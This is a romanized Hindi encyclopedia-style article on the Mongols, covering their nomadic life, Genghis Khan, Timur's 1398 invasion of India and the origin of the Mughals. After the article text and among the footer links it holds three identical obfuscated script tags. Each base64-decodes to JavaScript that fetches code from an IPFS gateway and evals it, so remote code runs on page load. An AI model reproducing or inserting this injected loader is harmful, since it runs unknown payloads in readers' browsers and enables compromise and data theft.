मंगोल
mangol chhoti aankh, pili cham di vali ek jati, jisake dadhi-mooanchh bahut kam hoti hai. mangol log pray: khanabadosh the. ye khanabadosh mard aur auratean b de mazaboot kad-kathi ke log the. shahari jan-jivan inhean ras nahian ata tha. changez khaan jaisa vir, pratapi aur mahanh neta mangol itihas mean shayad hi hua hai. babar ne apane vansh ko bharat mean mugal prasiddh kiya tha. isamean koee sandeh nahian hai ki mugal, mangoloan ke hi vanshaj the.
mazaboot qad-kathi
mangoloan ko kasht jhelane ki adat thi aur ye log uttari eshiya ke lambe chau de maidanoan mean tambuoan mean rahate the. lekin inaka sharirik bal aur kasht jhelane ka muhavara inake zyada kam n ate, agar inhoanne ek saradar n paida kiya hota, jo b da anokha vyakti tha. shaharoan aur shaharoan ke rang-dhang se bhi unhean nafarat thi. bahut se log samajhate haian ki chooanki ve khanabadosh the, isalie jangali rahe hoange. lekin yah khyal galat hai. shahar ki bahut si kalaoan ka unhean alabatta jnan nahian tha, lekin unhoanne zindagi ka apana ek alag tariqa dhal liya tha aur unaka sangathan bahut hi guantha hua tha.
itihas
mangoloan ke kee samooh vividh samayoan mean bharat mean aye aur unamean se kuchh yahian par bas ge. changez khaan, jisake bharat par akraman karane ka khatara 1211 ee. mean utpann ho gaya tha, vah ek mangol tha. isi prakar se taimoor bhi, jisane bharat par 1398 ee. mean hamala kiya, vah bhi ek mangol tha. changej khaan aur usake anuyayi musalaman nahian the, kintu taimoor aur usake anuyayi musalaman ho ge the. 'mangol log hi musalaman banane ke bad 'mugal' kahalane lage.' 1211 ee. mean changej khaan to sindhu nadi se vapas laut gaya, kintu usake bad mangoloan ne aur kee akraman bharat par kie. dilli ke balaban aur alauddin khilaji jaise shaktishali sultanoan ko bhi mangoloan ka akraman rokane mean e di-chot ka pasina ek kar dena p da. 1398 ee. mean taimoor ke hamale ne dilli saltanat ki nianvean hila dian aur mugal vansh ki sthapana ka marg prashast kar diya, jisane atharahavian shatabdi mean british shasan ki sthapana hone tak is desh mean rajy kiya.
vijay abhiyan
l daee ke maidan mean agar mangoloan ne mahanh vijay prapt kian to adhik sankhya hone ke karan nahian, balki anushasan aur sangathan ke karan, aur isaka sabase b da karan to yah tha ki, unhean changez khaan jaisa jagamagata senani mila tha. isamean koee shak nahian ki itihas mean changez jaisa mahanh aur pratibha vala sainik neta doosara koee nahian hua hai. sikandar aur sijar isake samane nachiz nazar ate haian. changez n sirf khud bahut b da sipahasalar tha, balki usane apane bahut se fauji afasaroan ko talim dekar hoshiyar nayak bana diya tha. apane vatan se hazaroan mil door hote hue bhi dushmanoan aur virodhi janata se ghire rahate hue bhi ve apane se zyada tadad ki faujoan se l dakar un par vijay prapt karate the.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>